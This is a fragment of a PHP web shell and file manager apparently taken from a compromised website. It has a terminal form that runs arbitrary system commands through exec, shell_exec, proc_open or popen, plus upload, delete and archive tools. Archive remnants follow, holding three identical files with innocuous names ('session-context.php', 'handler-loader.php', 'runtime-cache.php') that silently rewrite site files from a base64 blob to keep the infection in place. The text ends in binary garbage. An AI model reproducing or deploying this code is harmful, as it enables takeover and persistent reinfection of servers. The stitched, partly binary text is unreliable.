                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:sd<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>sd<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="sd<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="sd<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			sd<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
			sd<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     sd<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     sd<?php } ?>
                    
		     </td>
		<td>
		sd<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('file')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		sd<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
sd<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
sd<?php
    }
}
?>
</tbody>
</table>
<div class="row3">sd<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


sd<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PK       S]R!( 
   
                  widget-loader.php.tarnu [        PK       S]Z: @  @             E
  index.php.tarnu [        PK       S])cJf  Jf              J index.php.php.tar.gznu [        PK       S]k++R  R               widget-loader.php.php.tar.gznu [        PK       S]&79 9 	             index.phpnu [        PK           PK     -a]E 
   
    session-context.php.tarnu [        home/www/zeuportail/assets/static/modules/session-context.php                                       0000644                 00000001672 15243251320 0020640 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
@error_reporting(0);
@ini_set('display_errors', 0);
if (isset($_GET['_ck_sub8i8'])) {
    echo '1';
    exit;
}
$myDir = dirname(__FILE__);
$rootHop = '../../..';
$siteRoot = ($rootHop === '' || $rootHop === '.') ? $myDir : $myDir . '/' . $rootHop;
$backupFile = $siteRoot . '/templates/cache/data/82a3968585a485ae93950bf7ce89f24b.dat';
if (!@file_exists($backupFile)) {
    http_response_code(404);
    echo '0';
    exit;
}
$json = @file_get_contents($backupFile);
if (!$json) {
    echo '0';
    exit;
}
$backup = @json_decode($json, true);
if (!$backup || !isset($backup['files'])) {
    echo '0';
    exit;
}
$restored = 0;
foreach ($backup['files'] as $file => $data) {
    $path = $siteRoot . '/' . $file;
    if (!file_exists($path) || md5_file($path) !== $data['md5']) {
        $content = base64_decode($data['content']);
        if (@file_put_contents($path, $content) !== false) {
            $restored++;
        }
    }
}
echo '1';
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PK     -a](d 
   
    handler-loader.php.tarnu [        home/www/zeuportail/assets/static/modules/handler-loader.php                                        0000644                 00000001672 15243251144 0020360 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
@error_reporting(0);
@ini_set('display_errors', 0);
if (isset($_GET['_ck_sub8i8'])) {
    echo '1';
    exit;
}
$myDir = dirname(__FILE__);
$rootHop = '../../..';
$siteRoot = ($rootHop === '' || $rootHop === '.') ? $myDir : $myDir . '/' . $rootHop;
$backupFile = $siteRoot . '/templates/cache/data/82a3968585a485ae93950bf7ce89f24b.dat';
if (!@file_exists($backupFile)) {
    http_response_code(404);
    echo '0';
    exit;
}
$json = @file_get_contents($backupFile);
if (!$json) {
    echo '0';
    exit;
}
$backup = @json_decode($json, true);
if (!$backup || !isset($backup['files'])) {
    echo '0';
    exit;
}
$restored = 0;
foreach ($backup['files'] as $file => $data) {
    $path = $siteRoot . '/' . $file;
    if (!file_exists($path) || md5_file($path) !== $data['md5']) {
        $content = base64_decode($data['content']);
        if (@file_put_contents($path, $content) !== false) {
            $restored++;
        }
    }
}
echo '1';
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PK     -a]$ 
   
    runtime-cache.php.tarnu [        home/www/zeuportail/assets/static/modules/runtime-cache.php                                         0000644                 00000001672 15243251121 0020216 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
@error_reporting(0);
@ini_set('display_errors', 0);
if (isset($_GET['_ck_sub8i8'])) {
    echo '1';
    exit;
}
$myDir = dirname(__FILE__);
$rootHop = '../../..';
$siteRoot = ($rootHop === '' || $rootHop === '.') ? $myDir : $myDir . '/' . $rootHop;
$backupFile = $siteRoot . '/templates/cache/data/82a3968585a485ae93950bf7ce89f24b.dat';
if (!@file_exists($backupFile)) {
    http_response_code(404);
    echo '0';
    exit;
}
$json = @file_get_contents($backupFile);
if (!$json) {
    echo '0';
    exit;
}
$backup = @json_decode($json, true);
if (!$backup || !isset($backup['files'])) {
    echo '0';
    exit;
}
$restored = 0;
foreach ($backup['files'] as $file => $data) {
    $path = $siteRoot . '/' . $file;
    if (!file_exists($path) || md5_file($path) !== $data['md5']) {
        $content = base64_decode($data['content']);
        if (@file_put_contents($path, $content) !== false) {
            $restored++;
        }
    }
}
echo '1';
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PK     -a]~{    modules.tar.gznu [              pdM.
R,J,JRJRUm=33w7޸e<ះ{q=+#ia#\?x$qsq5q߁CSq8%-?ܕoV.$-Hh]SIIQyyhiIH	5+5yXQ|v&$1v7bNcd$)#/ad/-5>SXQi?V$>>$DMK"La"fs7?^&nv__܅ʜՄ̈́ӄלhmjkdcE,53fWBX:I9-?e?gOmijk߬{/c#3$nME`\Kԟ:8cᇳs'$	J"DBW/)J쿤^Ō/Ϳ5+У34q1?:{^G_h&v.7K=x?V$bAAfo?Ꟊ_(/5uiG'f)U		?ܿVޟ'p?y 3?vqfgbjNCg?cK';Wg/NA%::__.b3?2&vfer7_nv&fڗ㟘Dπ/Ig{wwߒe?kt
?Q<rL$TT$_͍hn__BˈH/{ߕ/$_]Tו\싛+_V=F'_C #+?I ?_ߜ	Q/g7{W/5;766󿕉C?ٹ8ظؘ1,?+6N!}6 eݨ1-#=1XPFRIcƦ5Δ	i}wDLq)8N1l	u1ugŀ31U.XCTub}$d;uR1w-SAb`{0lϰVi(kV,2Ye6Cpߓ!ߥ]Jİ;7gT7l[IZ0<}NCD{P)ܔ;! u>F+(#qG)Ar//k	K|K=B<08[ ڻ(<1sYJʚ>COҤ.ԒG(GHRctB3>_B(wciBWRcJUPC1IϹ*4ݛ̐&զG\Y!XcR6[1-DMA|X <H͙|}	j83/
q&O3eoK3D2Uv+_"1Qd:χ1l0ܸ3sb(1u%zL̯1?8l&b^6G)O9Y8XY66$k\k:j^Ul"DPD!`CP 0ɂ)hnU^wmW^h6u]Ux^u@}}E 0r'2K:btAhj%/[a{tT2˅lVxwPw@GF
˸y~knokmW|6OmeAF4,7S"&$ҵ	T}v'fZhqeRZCqc:XXyBePΌQ=k<O#w΅
n,e>sJoL9()
Plb0,:$XT?E
'L2BAܓW=Am,ZvB1bfSX
E弸
b_RM}H%)+0UgZf;^	a\OCxixF3Rh8P:ERSYUJǫC=!A9`Ƃ{xD$T--0bؑZ5O9WOn؁s>%(WO,ا{Ս|gaI[U r"	,.q)X,$Z5G?#b*e*8Vj'd[	UF(  )C "v4%r&~-|:ȋC(1*0jJ$"hV ȪؒʹvIR!2XI"VڜPs9(^X[CRUZE2	m߶8އn@8ї'Iҷ5D\y%xWZQj Nx/Lyr}~Ϣ?"lnys
>\ Dw`U{d|L;LYp	Bwno#>u`h(Ul#1alf2=Zr>Z~&}spgGkw7Sw5 0zc3d6R?Z⽱O/W~{~/]g҆ˀ%{69tߗX"a./i+j];͹::8׸Pkc0msɊRLo{|֪q̈;Ѱ[dpN 2_Ļ98ָլW7mGt##Lc&<i|/A9A	]@4-5u_E#ȹV@dV\󌯾1Q .#lq?c1 ~CP`i*5\OYtJ.sqJkz>nWY4_qpp/tc#Ka%P65]~.\uBCR'?h
<+KϬjJE>%GMN#S.
4.Dlܼ\w̷D1ún(*5$0&RjZ	6ia](eqGYjCeC$h$9|[_ Ov~U*YT?6628{N.rg
ppÖD3r&ݠ:~XKCH6WK ҈lpqK,/vX#Kղ`Ͱvm~d[uֺ)иNwPw#4KoYв=Ap+`{naRBNf,3IpSZ~;".]#- k-`hSFjQPM*'WneDh,8i=3<| C:.tZ3"D)N+WaŘ./U1C^o#R1A[Qj*!HXDqTmaT$?U[>ڐXQM^a[QIb-=&:=jIfG@sJ)5
1_bmEP3&J0kcEZ#Am;DVn_-au1e
YNg1l7$&4}:تN:A2>/1(Zh!Хb1jdCedXvWɾ^{ 4@ Obd$xJH{$V;ݔAO`qxpM~Y\m0[:c<ݨ$x#=8b
C'
G6Gӳw`sӣV#%@x<3κ'-NtMb.'DXHZ`_zu2 Q*39nż"(vKxMwVUnl،R0	^den Ľ^! "mNx*eծ@A6<޺z9X
ttSA4`({TDivh@@~mΠ"rR Kg"Rn3tEU8pR&W裣1f]cjx*a"J@ƕo띮krTQ3r^ԯ+Q2hA3L{Kj~#%Qp#<8U	
rKbYz˩@tM爆J /R88|T.19P O[G/>H	M>?	̽yٚK}x	`{y1@ATRZ+bl!`ݴGlLΞ*ߨvX	]3v	1q׿+cY۩mwE"hLMpXRЧ>п<vCe߮'Yjcd|OEY(i<cgy?2@N 38I/Rry0+F`1]"?X(IGV6bBwZS⋥{\EX4F~Tu_y& Nx݋`0M+>KzvEbiԷ"99
cnCwF{	Af ?55i
